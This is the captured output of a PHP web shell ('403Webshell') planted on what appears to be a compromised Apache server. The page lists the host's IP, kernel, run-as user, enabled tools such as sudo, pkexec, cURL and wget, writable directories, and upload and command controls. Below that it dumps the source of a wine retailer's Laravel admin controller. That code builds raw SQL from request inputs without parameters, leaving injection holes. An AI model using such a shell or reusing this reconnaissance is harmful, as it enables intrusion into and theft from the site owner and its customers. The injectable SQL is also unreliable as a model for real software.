403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Http/Controllers/Admin/AdminController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Http\Requests;
use App\Http\Controllers\BaseController;
use Illuminate\Http\Request;
use App\Modules\Notificacao\Models\Notificacao;
use App\Modules\Colaborador\Models\Colaborador;
use App\Modules\Reserva\Models\Reserva;
use App\Modules\Recado\Models\Recado;
use App\Modules\Estado\Models\Estado;
use App\Modules\Enquete\Models\Enquete;
use App\Modules\EventoPrivado\Models\EventoPrivado;
use App\Modules\Questionamento\Models\Questionamento;
use App\Modules\Produto\Models\Produto;
use App\Modules\ProdutoCaracteristica\Models\ProdutoCaracteristica;
use App\Modules\Oferta\Models\Oferta;
use App\Modules\OrdemCompra\Models\OrdemCompra;
use App\Modules\OfertaHasProduto\Models\OfertaHasProduto;
use App\Modules\Cadastro\Models\Cadastro;
use App\Modules\CadastroEndereco\Models\CadastroEndereco;
use App\Modules\CadastroCartao\Models\CadastroCartao;

use App\Modules\PedidoEntrega\Models\PedidoEntrega;
use App\Modules\PedidoEntregaStatus\Models\PedidoEntregaStatus;
use App\Modules\PedidoEntregaHasStatus\Models\PedidoEntregaHasStatus;

use App\Modules\PedidoVenda\Models\PedidoVenda;
use App\Modules\PedidoVendaHasProduto\Models\PedidoVendaHasProduto;

use App\Modules\AdegaHasPedidoVenda\Models\AdegaHasPedidoVenda;


use App\Modules\Cidade\Models\Cidade;
use App\Modules\Adega\Models\Adega;


use App\Modules\Pais\Models\Pais;
use App\Modules\Empresa\Models\Empresa;

use App\User;

use App\Services\GeralService;
use App\Services\PedidoEntregaService;
use App\Services\CepService;
use App\Services\MarketplaceService;

use App\Notifications\NotificacaoAdmin;

use DB;
use Sentinel;
use Activation;
use Carbon\Carbon;
use Excel;

use App\Services\CondominioService;

use Notification;

class AdminController extends BaseController
{
	public function __construct(){
		parent::__construct();
	}

	public function dashboard()
	{

		
		$meses = [];
		//Atual
		for($i=1;$i<=date('m');$i++){
			$meses[] = ['mes' => $i, 'ano' => date('Y')];
		}
		//Anterior
		for($i=12;$i>date('m');$i--){
			$meses[] = ['mes' => $i, 'ano' => (date('Y') - 1)];
		}
		$data                 = [];
		$data['vendas_mes']   = $this->vendasMonth();
		$data['entregas_mes'] = $this->entregasMonth();
		$data['compras_mes']  = $this->comprasMonth();
		$data['pedidos_mes']  = $this->pedidosParadosMonth();
		$data['analise']      = $this->analiseClientesMonth();
		$data['ordens']       = $this->ordensCompraMonth();
		$data['mes']          = date('m');
		$data['ano']          = date('Y');
		$data['meses']        = $meses;
		// $data['produtosDiscrepantes'] = count(GeralService::buscarOfertasEmDiscrepancia());
		$data['produtosDiscrepantes'] = 0;


		$data['aniversariantes']     = $this->aniversariantes();
		$data['aniversariante']      = count($data['aniversariantes']) > 0 ? $data['aniversariantes'][0] : false;
		$data['aniversariantes_dia'] = $this->aniversariantes(true);

		return view('admin.admins.index', $data);
	}

	public function aniversariantes($dia = FALSE){

		if($dia){
			$aniversariantes = Colaborador::select(DB::raw("id, nome, cargo, data_nascimento as data, 'nascimento' mesdia_classe, DATE_FORMAT(data_nascimento, '%m%d') mesdia, thumbnail_principal"))->whereRaw("DATE_FORMAT(data_nascimento, '%m%d') = ".date('md'))->orderByRaw('MONTH(data_nascimento)', 'ASC')->orderByRaw('DAY(data_nascimento)', 'ASC')->orderBy('nome', 'ASC')->limit(3)->get();
			$admissoes       = Colaborador::select(DB::raw("id, nome, cargo, data_admissao as data, 'empresa' mesdia_classe, YEAR(data_admissao) ano_admissao, DATE_FORMAT(data_admissao, '%m%d') mesdia, thumbnail_principal"))->whereRaw("DATE_FORMAT(data_admissao, '%m%d') = ".date('md'))->whereYear('data_admissao', '!=', Carbon::now()->format('Y'))->orderByRaw('MONTH(data_admissao)', 'ASC')->orderByRaw('DAY(data_admissao)', 'ASC')->orderBy('nome', 'ASC')->limit(3)->get();
		}else{
			//Aniversariantes
			$aniversariantes = Colaborador::select(DB::raw("id, nome, cargo, data_nascimento as data, 'nascimento' mesdia_classe, DATE_FORMAT(data_nascimento, '%m%d') mesdia"))->whereRaw("DATE_FORMAT(data_nascimento, '%m%d') > ".date('md'))->orderByRaw('MONTH(data_nascimento)', 'ASC')->orderByRaw('DAY(data_nascimento)', 'ASC')->orderBy('nome', 'ASC')->limit(6)->get();
			if(count($aniversariantes) == 0){
				$aniversariantes = Colaborador::select(DB::raw("id, nome, cargo, data_nascimento as data, 'nascimento' mesdia_classe, DATE_FORMAT(data_nascimento, '%m%d') mesdia"))->whereRaw("DATE_FORMAT(data_nascimento, '%m%d') > 0")->orderByRaw('MONTH(data_nascimento)', 'ASC')->orderByRaw('DAY(data_nascimento)', 'ASC')->orderBy('nome', 'ASC')->limit(6)->get();
			}
			//Admissões
			$admissoes = Colaborador::select(DB::raw("id, nome, cargo, data_admissao as data, 'empresa' mesdia_classe, DATE_FORMAT(data_admissao, '%m%d') mesdia, thumbnail_principal"))->whereRaw("DATE_FORMAT(data_admissao, '%m%d') > ".date('md'))->orderByRaw('MONTH(data_admissao)', 'ASC')->orderByRaw('DAY(data_admissao)', 'ASC')->orderBy('nome', 'ASC')->limit(6)->get();
			if(count($admissoes) == 0){
				$admissoes = Colaborador::select(DB::raw("id, nome, cargo, data_admissao as data, 'empresa' mesdia_classe, DATE_FORMAT(data_admissao, '%m%d') mesdia, thumbnail_principal"))->whereRaw("DATE_FORMAT(data_admissao, '%m%d') > 0")->orderByRaw('MONTH(data_admissao)', 'ASC')->orderByRaw('DAY(data_admissao)', 'ASC')->orderBy('nome', 'ASC')->limit(6)->get();
			}
		}



		$listaAniversariantes = [];
		foreach ($aniversariantes as $aniversariante) {
			$listaAniversariantes[] = $aniversariante;
		}
		foreach ($admissoes as $admissao) {
			$listaAniversariantes[] = $admissao;
		}

		usort($listaAniversariantes, function($a, $b) {
		    return $a->mesdia - $b->mesdia;
		});

		return $listaAniversariantes;
	}

	public function marketplace(Request $request){

        $data = [];
        $data = $request->input();
		$data['listaEmpresas'] = GeralService::buscarEmpresasIntegracao();
		$data['listaEstados']  = Estado::where('pais_id', 1)->orderBy('nome', 'ASC')->get();

        return view('admin.admins.marketplace', $data);
    }

    public function marketplaceListaPedidos(Request $request){

		$data       = $request->input();
		$bloqueados = [];
		$pedidos    = MarketplaceService::listaPedidos($request);
		if($request->input('situacao_adega') == 'F'):
			$bloqueados = MarketplaceService::listaPedidos($request, TRUE);
		endif;

		$data['pedidos']        = $pedidos;
		$data['bloqueados']     = $bloqueados;
		$data['origem']         = $request->input('empresa_id');
		$data['empresas']       = GeralService::buscarEmpresasIntegracao();
		$data['situacao_adega'] = $request->input('situacao_adega');

        $html = view('admin.admins._marketplace-lista-pedidos', $data)->render();

        $json = [
            'status' => true,
            'html'   => $html
        ];

        return response()->json($json);

    }

    public function marketplaceTransferir(Request $request){

		$post = $request->input();
		$user = Sentinel::getUser();

		try {

			DB::beginTransaction();

			$origem         = $request->input('origem');
			$destino        = $request->input('destino');
			$estado_sigla   = $request->input('estado_sigla');
			$situacao_adega = $request->input('situacao_adega');
			$bloqueados     = [];

			$clientes     = MarketplaceService::listaClientesPedidos($request);
			if($request->input('situacao_adega') == 'F'):
				$bloqueados = MarketplaceService::listaClientesPedidos($request, TRUE);
			endif;
			$total        = count($clientes) - count($bloqueados);
			$corte        = ($total * $request->input('percentual')) / 100;
			$corte 		  = (int) $corte;
			$transferidos = 0;

	        $data_transferencia = date('Y-m-d H:i:s');

	        foreach ($clientes as $cliente) {

	        	if(isset($bloqueados[$cliente->id_cliente])){
	        		continue;
	        	}

	        	$sql1 = "update cadastro set customer_id = customer_id_old where id = {$cliente->id_cliente}";
                DB::update($sql1);

                $sql2 = "update cadastro set customer_id = null, empresa_id = {$destino} where id = {$cliente->id_cliente}";
                DB::update($sql2);

                if($situacao_adega == 'A'){

	                $sql3 = "update pedido_venda set empresa_id_old = {$origem}, transacao_id_old = transacao_id where id_status_pedido_venda in (1,2,9) and id_cliente = {$cliente->id_cliente}";
	                DB::update($sql3);

	                $sql4 = "update pedido_venda set transacao_id = null, empresa_id = {$destino}, data_transferencia_marketplace = '{$data_transferencia}' where id_status_pedido_venda in (1,2,9) and id_cliente = {$cliente->id_cliente}";
	                DB::update($sql4);

                }

				$quantidade = !empty($cliente->Qtd) ? $cliente->Qtd : 0;
				$pedidos    = !empty($cliente->Pedidos) ? $cliente->Pedidos : 0;
				$valor      = !empty($cliente->Valor) ? $cliente->Valor : 0;

                $sql5 = "insert into marketplace_log (cliente_id, empresa_id_origem, empresa_id_destino, user_id, estado_sigla, data_transferencia, quantidade, pedidos, valor) VALUES 
                ({$cliente->id_cliente},{$origem},{$destino},{$user->id}, '{$estado_sigla}', '{$data_transferencia}', {$quantidade}, {$pedidos}, {$valor})";
                DB::insert($sql5);

                $transferidos++;

                if($transferidos >= $corte){
                	break;
                }

	        }

			$json = array(
				'status'  => true,
				'message' => "Clientes/Pedidos transferidos com sucesso!"
	        );

			DB::commit();

	        return response()->json($json);

		} catch (Exception $e) {

			DB::rollBack();

			$json = array(
				'status'  => false,
				'message' => $e->getMessage()
	        );

	        return response()->json($json);

		}

	}

	public function vendasPorEmpresa(Request $request){
		$input = $request->all();
		$data  = $this->vendasMonth($input['month'], $input['year']);
		$data['html'] = view('admin.admins._item-bars', ['dados' => $data])->render();
		return response()->json($data, 200);
	}

	public function entregasPorEmpresa(Request $request){
		$input = $request->all();
		$data  = $this->entregasMonth($input['month'], $input['year']);
		$data['html'] = view('admin.admins._item-bars', ['dados' => $data])->render();
		return response()->json($data, 200);
	}

	public function comprasPorEmpresa(Request $request){
		$input = $request->all();
		$data  = $this->comprasMonth($input['month'], $input['year']);
		$data['html'] = view('admin.admins._item-bars', ['dados' => $data])->render();
		return response()->json($data, 200);
	}

	public function pedidosParadosPorEmpresa(Request $request){
		$input = $request->all();
		$data  = $this->pedidosParadosMonth($input['month'], $input['year']);
		$data['html'] = view('admin.admins._item-bars', ['dados' => $data])->render();
		return response()->json($data, 200);
	}

	public function getAnaliseClientes(Request $request){
		$input = $request->all();
		$data  = $this->analiseClientesMonth($input['month'], $input['year']);
		return response()->json($data, 200);
	}

	public function ordensEntregas(Request $request){
		$input = $request->all();
		$data  = $this->ordensCompraMonth($input['month'], $input['year']);
		return response()->json($data, 200);
	}

	public function ordensCompraMonth($month = FALSE, $year = FALSE){

		$data       = [];
		$empresas   = GeralService::buscarEmpresasIntegracao();
		$month      = ($month ? $month : date('m'));
		$year       = ($year ? $year : date('Y'));
		$lastDay    = GeralService::retornaData($month, $year) . " 23:59:59";
		$startMonth = $year . "-{$month}-01 00:00:00";
		$dataAtual  = date('Y-m-d');

		$query = OrdemCompra::select(
                	DB::raw("COUNT(ordem_compra.id) AS total")
            	)->whereBetween('ordem_compra.data_inclusao', [$startMonth, $lastDay])
				->whereIn('ordem_compra.status', ['A','P','AP']);

		$compras = $query->first();

		$query = OrdemCompra::select(
                	DB::raw("data_entrega")
            	)->whereBetween('data_inclusao', [$startMonth, $lastDay])
				->whereRaw("data_entrega IS NOT NULL AND data_entrega >= '{$dataAtual}'")
				->whereIn('status', ['A','P','AP'])
				->orderBy('data_entrega', 'ASC');

		$entrega = $query->first();

		$resultado                  = new \stdClass;
		$resultado->total           = $compras->total;
		$resultado->proxima_entrega = $entrega ? (!empty($entrega->data_entrega) ? date('d/m/Y', strtotime($entrega->data_entrega)) : '') : '';

		return $resultado;

	}

	public function analiseClientesMonth($month = FALSE, $year = FALSE){

		$data  = [];
		$month = ($month ? $month : date('m'));
		$year  = ($year ? $year : date('Y'));

		$clientes = Cadastro::selectRaw("SUM(CASE WHEN cliente_analisado = 'S' THEN 1 ELSE 0 END) AS 'analisados',
									SUM(CASE WHEN cliente_analisado = 'N' THEN 1 ELSE 0 END) AS 'bloqueados',
									COUNT(id) AS 'total'")
							->whereYear('data_bloqueio', $year)
							->whereMonth('data_bloqueio', $month)
							->first();

		$percentual = new \stdClass;
		if($clientes && $clientes->total > 0){
			$percentual->analisados = ($clientes->analisados * 100) / $clientes->total;
			$percentual->bloqueados = ($clientes->bloqueados * 100) / $clientes->total;
		}else{
			$percentual->analisados = 0;
			$percentual->bloqueados = 0;
		}

		$percentual->analisados = (int) number_format($percentual->analisados, 0, ',', '.');
		$percentual->bloqueados = (int) number_format($percentual->bloqueados, 0, ',', '.');

		if($percentual->bloqueados == 0 && $percentual->analisados == 0){
			$percentual->analisados = 100;
		}

		$resultado             = new \stdClass;
		$resultado->clientes   = $clientes;
		$resultado->percentual = $percentual;

		return $resultado;

	}

	public function pedidosParadosMonth($month = FALSE, $year = FALSE){

		$data       = [];
		$empresas   = GeralService::buscarEmpresasIntegracao();
		$month      = ($month ? $month : date('m'));
		$year       = ($year ? $year : date('Y'));		
		$lastDay    = GeralService::retornaData($month, $year) . " 23:59:59";
		$startMonth = $year . "-{$month}-01 00:00:00";

		$labels   = [];
		$sumCase  = [];
		foreach ($empresas as $empresa) {
			$labels[]  = $empresa->sigla;
			$sumCase[] = "SUM(CASE WHEN pedido_entrega.data_solicitacao BETWEEN '{$startMonth}' AND '{$lastDay}' AND pedido_entrega.empresa_id={$empresa->id} THEN 1 ELSE 0 END) AS {$empresa->sigla}";
		}
		$data['labels']  = $labels;

		$query = PedidoEntrega::select(
                	DB::raw(implode(",", $sumCase))
            	)->leftJoin('pedido_entrega_has_status', 'pedido_entrega_has_status.id_pedido_entrega', '=', 'pedido_entrega.id')
				->leftJoin('pedido_entrega_status', 'pedido_entrega_status.id', '=', 'pedido_entrega_has_status.id_pedido_entrega_status')
				->join('adega','adega.id','=','pedido_entrega.id_adega')
				->join('cadastro','cadastro.id','=','adega.id_cliente')
				->whereBetween('pedido_entrega.data_solicitacao', [$startMonth, $lastDay])
				->whereRaw('pedido_entrega_has_status.id = (select max(pedido_entrega_has_status.id) from pedido_entrega_has_status where pedido_entrega_has_status.id_pedido_entrega = pedido_entrega.id)')
				->whereRaw('datediff(curdate(),pedido_entrega_has_status.data) > 5')
				->whereIn('pedido_entrega_status.id', [1,2,3,4]);

		$pedidosParados = $query->first();

		$dataset    = [];
		$percentual = [];
		$total      = 0;
		foreach ($empresas as $empresa) {
			$dataset[] = $pedidosParados[$empresa->sigla];
			$total     += $pedidosParados[$empresa->sigla];
		}
		//Percentual
		foreach ($empresas as $empresa) {
			$percentual[] = $total > 0 ? (($pedidosParados[$empresa->sigla]/$total)*100) : 0;
		}
		$data['dataset']    = $dataset;
		$data['percentual'] = $percentual;
		// $data['total']   = number_format($total,0,'.','');
		$data['total']   = number_format($total,2,'.','');

		return $data;
	}

	public function comprasMonth($month = FALSE, $year = FALSE){

		$data       = [];
		$empresas   = GeralService::buscarEmpresasIntegracao();
		$month      = ($month ? $month : date('m'));
		$year       = ($year ? $year : date('Y'));		
		$lastDay    = GeralService::retornaData($month, $year) . " 23:59:59";
		$startMonth = $year . "-{$month}-01 00:00:00";

		$labels   = [];
		$sumCase  = [];
		foreach ($empresas as $empresa) {
			$labels[]  = $empresa->sigla;
			$sumCase[] = "SUM(CASE WHEN ordem_compra.data_inclusao BETWEEN '{$startMonth}' AND '{$lastDay}' AND ordem_compra.empresa_id={$empresa->id} THEN ordem_compra.valor_total ELSE 0 END) AS {$empresa->sigla}";
			$sumCase[] = "SUM(CASE WHEN ordem_compra.data_inclusao BETWEEN '{$startMonth}' AND '{$lastDay}' AND ordem_compra.empresa_id={$empresa->id} THEN ordem_compra.quantidade ELSE 0 END) AS qtde_{$empresa->sigla}";
		}
		$data['labels']  = $labels;

		$query = OrdemCompra::select(
                	DB::raw(implode(",", $sumCase))
            	)
				->join('empresa','empresa.id','=','ordem_compra.empresa_id')
				->whereBetween('ordem_compra.data_inclusao', [$startMonth, $lastDay])
				->whereIn('ordem_compra.status', ['A','P','AP']);

		$compras = $query->first();

		$dataset    = [];
		$percentual = [];
		$total      = 0;
		$quantidade = 0;
		foreach ($empresas as $empresa) {
			$dataset[] = $compras[$empresa->sigla];
			$total     += $compras[$empresa->sigla];
			$quantidade += $compras["qtde_{$empresa->sigla}"];
		}
		//Percentual
		foreach ($empresas as $empresa) {
			$percentual[] = $total > 0 ? (($compras[$empresa->sigla]/$total)*100) : 0;
		}
		$data['dataset']    = $dataset;
		$data['percentual'] = $percentual;
		// $data['total']   = number_format($total,0,'.','');
		$data['total']   = number_format($total,2,'.','');
		$data['quantidade'] = number_format($quantidade,0,',','.');

		return $data;

	}

	public function entregasMonth($month = FALSE, $year = FALSE){

		$data       = [];
		$empresas   = GeralService::buscarEmpresasIntegracao();
		$month      = ($month ? $month : date('m'));
		$year       = ($year ? $year : date('Y'));		
		$lastDay    = GeralService::retornaData($month, $year) . " 23:59:59";
		$startMonth = $year . "-{$month}-01 00:00:00";

		$labels   = [];
		$sumCase  = [];
		foreach ($empresas as $empresa) {
			$labels[]  = $empresa->sigla;
			$sumCase[] = "SUM(CASE WHEN pedido_entrega.data_solicitacao BETWEEN '{$startMonth}' AND '{$lastDay}' AND pedido_entrega.empresa_id={$empresa->id} THEN pedido_venda_has_produto.valor_total ELSE 0 END) AS {$empresa->sigla}";
		}
		$data['labels']  = $labels;

		$query = PedidoEntrega::select(
                	DB::raw(implode(",", $sumCase))
            	)
				->join('empresa','empresa.id','=','pedido_entrega.empresa_id')
				->join('adega','adega.id','=','pedido_entrega.id_adega')
				->join('cadastro','cadastro.id','=','adega.id_cliente')
				->join('sis_users','sis_users.id','=','cadastro.user_id')
				->join('adega_has_pedido_venda','adega_has_pedido_venda.id_adega','=','adega.id')
				->join('pedido_venda', function($join)
	            {
	                $join->on('pedido_venda.id', '=', 'adega_has_pedido_venda.id_pedido_venda');
	                $join->on('pedido_venda.id_cliente', '=', 'cadastro.id');
	            })
				->join('pedido_venda_status','pedido_venda_status.id','=','pedido_venda.id_status_pedido_venda')
				->join('pedido_venda_has_produto','pedido_venda_has_produto.id_pedido_venda','=','pedido_venda.id')
				->join('produto','produto.id','=','pedido_venda_has_produto.id_produto')
				->whereBetween('pedido_entrega.data_solicitacao', [$startMonth, $lastDay])
				->where('pedido_entrega.id_pedido_entrega_status', '<>', 7);

		$entregas = $query->first();

		$dataset    = [];
		$percentual = [];
		$total      = 0;
		//Dataset e Total
		foreach ($empresas as $empresa) {
			$dataset[] = $entregas[$empresa->sigla];
			$total     += $entregas[$empresa->sigla];
		}
		//Percentual
		foreach ($empresas as $empresa) {
			$percentual[] = $total > 0 ? (($entregas[$empresa->sigla]/$total)*100) : 0;
		}
		$data['dataset']    = $dataset;
		$data['percentual'] = $percentual;
		// $data['total']   = number_format($total,0,'.','');
		$data['total']   = number_format($total,2,'.','');

		return $data;
	}

	public function vendasMonth($month = FALSE, $year = FALSE){

		$data       = [];
		$empresas   = GeralService::buscarEmpresasIntegracao();
		$month      = ($month ? $month : date('m'));
		$year       = ($year ? $year : date('Y'));
		$lastDay    = GeralService::retornaData($month, $year) . " 23:59:59";
		$startMonth = $year . "-{$month}-01";

		$labels   = [];
		$sumCase  = [];
		foreach ($empresas as $empresa) {
			$labels[]  = $empresa->sigla;
			$sumCase[] = "SUM(CASE WHEN pedido_venda.data_fechamento BETWEEN '{$startMonth}' AND '{$lastDay}' AND pedido_venda.empresa_id={$empresa->id} THEN pedido_venda_has_produto.valor_total ELSE 0 END) AS {$empresa->sigla}";
		}
		$data['labels']  = $labels;

		$query = PedidoVenda::select(
                	DB::raw(implode(",", $sumCase))
            	)->join('pedido_venda_has_produto', 'pedido_venda_has_produto.id_pedido_venda', '=', 'pedido_venda.id')
				->whereIn('pedido_venda.id_status_pedido_venda', [1,2,7])
				->where('pedido_venda.frete', 0)
				->whereBetween('pedido_venda.data_fechamento', [$startMonth, $lastDay]);

		$vendas = $query->first();

		$dataset    = [];
		$percentual = [];
		$total      = 0;
		//Dataset e Total
		foreach ($empresas as $empresa) {
			$dataset[] = $vendas[$empresa->sigla];
			$total     += $vendas[$empresa->sigla];
		}
		//Percentual
		foreach ($empresas as $empresa) {
			$percentual[] = $total > 0 ? (($vendas[$empresa->sigla]/$total)*100) : 0;
		}
		$data['dataset']    = $dataset;
		$data['percentual'] = $percentual;
		// $data['total']   = number_format($total,0,'.','');
		$data['total']   = number_format($total,2,'.','');

		return $data;
	}

	public function atualizarDashCalendar(Request $request) {

        if (!isset($request->start) || !isset($request->end)) {
          die("Informe um período de datas.");
        }

        $filtro = array();

		$filtro['data_inicio'] = ($request->start);
		$filtro['data_fim']    = ($request->end);
		$filtro['tipo']        = 'D';

        $timezone = null;
        if (isset($_GET['timezone'])) {
          $timezone = new DateTimeZone($_GET['timezone']);
        }

        $listaEventos = GeralService::buscarDashToCalendar($filtro);

        return response()->json($listaEventos);
    }

	public function processBuscar(Request $request){
		$keyword = $request->get('q');
		$data = array();
		$modulos = \App\Gerador::where('id_tipo_modulo',1)->get();
		foreach ($modulos as $modulo) {
			$listagem = array();
			$query = DB::table($modulo->nome_tabela)->select('*');
			foreach ($modulo->camposTexto as $campo) {
				$query->orWhere($campo->nome, 'LIKE', "%$keyword%");
				if($campo->listagem){
					$listagem[] = $campo;
				}
			}
			$results = $query->get();

			if(count($results) && $this->current_user->hasAccess($modulo->nome_tabela.'.view')){
				$data['modulos'][$modulo->id]['modulo'] = $modulo;
				$data['modulos'][$modulo->id]['campos_listagem'] = $listagem;
				$data['modulos'][$modulo->id]['registros'] = $results;
			}

		}

		return view('admin/busca', $data);
	}

	public function getCep(Request $request) {
		$retorno = CepService::buscar($request->input('cep'));
        return response()->json($retorno);
	}

	public function bad_permissions(){
		return view('admin/bad_permissions');
	}

	public function lerNotificacao(Request $request){
		$id_notificacao = $request->input('id_notificacao');
		$user = User::find($this->current_user->id);
		$user->notifications->where('id', $id_notificacao)->markAsRead();
		return response()->json(array(
			'status' => true
		));
	}

	public function importarOfertaVinumday(){

		$row = 1;
		if (($handle = fopen("ofertas.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;

			    
			    $precoMercado = str_replace(',', '.', $data[7]);
			    $precoVenda = str_replace(',', '.', $data[8]);
			    
			    if ($data[9] == "\N"){
					$precoCusto = str_replace(',', '.', $data[9]);
				}else{
					$precoCusto = 0;
				}

				if ($precoMercado != 0){
					$percentualDesconto = 100 - (($precoVenda/$precoMercado)*100);
				} else{
					$percentualDesconto = 0;
				}

				$dataOferta = date_create_from_format('d/m/Y H:i', $data[6]);
					    	
				$oferta = new Oferta();
				$nome_oferta = explode(' ',$data[2],2);
				$oferta->id = utf8_encode($data[0]);
				$oferta->titulo = utf8_encode($nome_oferta[0]);
				if (isset($nome_oferta[1])){
					$oferta->sub_titulo = utf8_encode($nome_oferta[1]);
				}

				$oferta->texto = utf8_encode($data[4]);
				$oferta->resumo_texto = utf8_encode($data[5]);
				$oferta->slug_antiga = utf8_encode($data[3]);

				$oferta->data = date_format($dataOferta, 'Y-m-d');
				$oferta->preco_mercado = $precoMercado;
		        $oferta->preco_oferta = $precoVenda;
		        $oferta->preco_custo = $precoCusto;
		        $oferta->percentual_desconto = $percentualDesconto;
		        $oferta->tema_id = 1;

		        $oferta->save();
		        
		    }
		}

	}

	public function importarProdutosVinumday(){

		$row = 1;
		if (($handle = fopen("produtos.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {
		    	
			    	$num = count($data);
				    echo "<p> $num fields in line $row: <br /></p>\n";
				    //print_r($data);
				    $row++;

				    $pais = Pais::where('sigla',$data[19])->first();
				    //$dataOferta = $data[10];
				    $precoMercado = str_replace(',', '.', $data[11]);
				    $precoVenda = str_replace(',', '.', $data[12]);
				    if ($data[13] != "\N"){
					    $precoCusto = str_replace(',', '.', $data[13]);
					}else{
						$precoCusto = 0;
					}
				    $safra = $data[14];
				    $teor = $data[15];
				    $uva = $data[16];
				    $harmonizacao = $data[17];
				    //$arrayImagemPrincipal = explode('/',$data[18]);
				    $regiao = $data[20];
				    $guarda = $data[21];
				    $amadurecimento = $data[22];
				    $servico = $data[23];
				    $conteudo = $data[24];
				    $analiseVisual = $data[25];
				    $analiseOlfativa = $data[26];
					$analiseGustativa = $data[27];
					$localizacao = $data[28];


			    	$novoProduto = new Produto();
			        $novoProduto->nome = utf8_encode($data[2]);
			        $novoProduto->sku = utf8_encode($data[1]);
			        $novoProduto->slug_antiga = utf8_encode($data[3]);

			        //$novoProduto->thumbnail_principal = $arrayImagemPrincipal[3];
			        
			        $novoProduto->id_tipo_produto = $data[4];
			        $novoProduto->id_fornecedor = $data[6];

			        $novoProduto->preco_mercado = $precoMercado;
			        $novoProduto->preco_de_venda = $precoVenda;
			        $novoProduto->preco_custo = $precoCusto;

			        $novoProduto->ncm = $data[29];
			        $novoProduto->cfop = $data[30];
			        $novoProduto->cst = $data[31];

					$novoProduto->apresentacao_vinumday = utf8_encode($data[8]);
					$novoProduto->texto = utf8_encode($data[9]);
			        
			        if (($pais)){
				        $novoProduto->id_pais_origem = $pais->id;
				    }
			        $novoProduto->localizador = $localizacao;

			        try{
				        $novoProduto->save();
				    }catch (Exception $e){
				    	print_r($e->getMessage());

				    }


			        //$id_produto = $novoProduto->id;

			        // Pesquisar na tabela core_file_storage $novoProduto->thumbnail_principal == filename
			        // Select na core_file_storage com Agrupar pelo directory_id and upload_time e WHERE pelo directory_id da consulta anterior
			        // Este resultado, deve ser inserido na tabela produto_imagens e deve ser gerado o arquivo físico

					$novoProdutoCaracteristica = new ProdutoCaracteristica();
					$novoProdutoCaracteristica->safra = utf8_encode($safra);
					$novoProdutoCaracteristica->regiao = utf8_encode($regiao);
					$novoProdutoCaracteristica->castas = utf8_encode($uva);
					$novoProdutoCaracteristica->teor_alcoolico = utf8_encode($teor);
					$novoProdutoCaracteristica->guarda = utf8_encode($guarda);
					$novoProdutoCaracteristica->temperatura_de_servico = utf8_encode($servico);
					$novoProdutoCaracteristica->maturacao = utf8_encode($amadurecimento);

					$novoProdutoCaracteristica->analise_visual = utf8_encode($analiseVisual);
					$novoProdutoCaracteristica->analise_olfativa = utf8_encode($analiseOlfativa);
					$novoProdutoCaracteristica->analise_gustativa = utf8_encode($analiseGustativa);
					
					
					$novoProdutoCaracteristica->id_produto = $novoProduto->id;
					

					$novoProdutoCaracteristica->save();

			        //print_r($novoProduto->id);
			        //echo "<BR/>";
			        
	
			        $ofertaHasProduto = new OfertaHasProduto();
			        $ofertaHasProduto->id_produto = $novoProduto->id;
			        $ofertaHasProduto->id_oferta = $data[0];
			        $ofertaHasProduto->quantidade = 1;

			        try{
			        $ofertaHasProduto->save();
	
		        	}catch(\Exception $e){
		        		print_r($e->getMessage());
		        	}

		    }
		    fclose($handle);
		}	
	}

	public function importarClientesVinumday(){
// Report all PHP errors
error_reporting(E_ALL);

// Same as error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);
		$row = 0;
		if (($handle = fopen("clientes.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;

				$dataNascimento = date_create_from_format('d/m/Y H:i', $data[3]);	


		        $queryAcessoUsuario = DB::table('acesso_usuario')->select('*')->where('id_usuario', utf8_encode($data[0]))->first();


		        $user = new User();
		        if ($queryAcessoUsuario) {
		        	$user->password = $queryAcessoUsuario->senha;
		        	//$user->last_login = $queryAcessoUsuario->updated_at;
		        } else {
		        	$user->password = utf8_encode($data[4]);
		        }
		        
				$user->created_at = date('Y-m-d');
				$user->updated_at = date('Y-m-d');
				$user->receber_notificacoes = 0;

				$user->email = utf8_encode($data[5]);
				$user->first_name = utf8_encode($data[1]);
				$user->last_name = utf8_encode($data[2]);
				
				$user->save();
	
				$userSentinel = Sentinel::findUserById($user->id);

				$activation = Activation::create($userSentinel);
				Activation::complete($userSentinel, $activation->code);

				$role = Sentinel::findRoleById(1);
				$role->users()->attach($userSentinel);
					
					    	
				$cadastro = new Cadastro();
				$cadastro->id = utf8_encode($data[0]);
				$cadastro->nome = utf8_encode($data[1]);
				$cadastro->sobrenome = utf8_encode($data[2]);
				$cadastro->data_nascimento = $dataNascimento;
				$cadastro->cpf = utf8_encode($data[4]);
				//$cadastro->email = utf8_encode($data[5]);
				if ($data[6] == "\N"){
					$cadastro->telefone = '';
				}else{
					$cadastro->telefone = utf8_encode($data[6]);
				}
				$cadastro->user_id = $user->id;

		        $cadastro->save();

		    }
		}

	}

	public function importarEnderecoVinumday(){

		$row = 0;
		if (($handle = fopen("enderecos.csv", "r")) !== FALSE) {
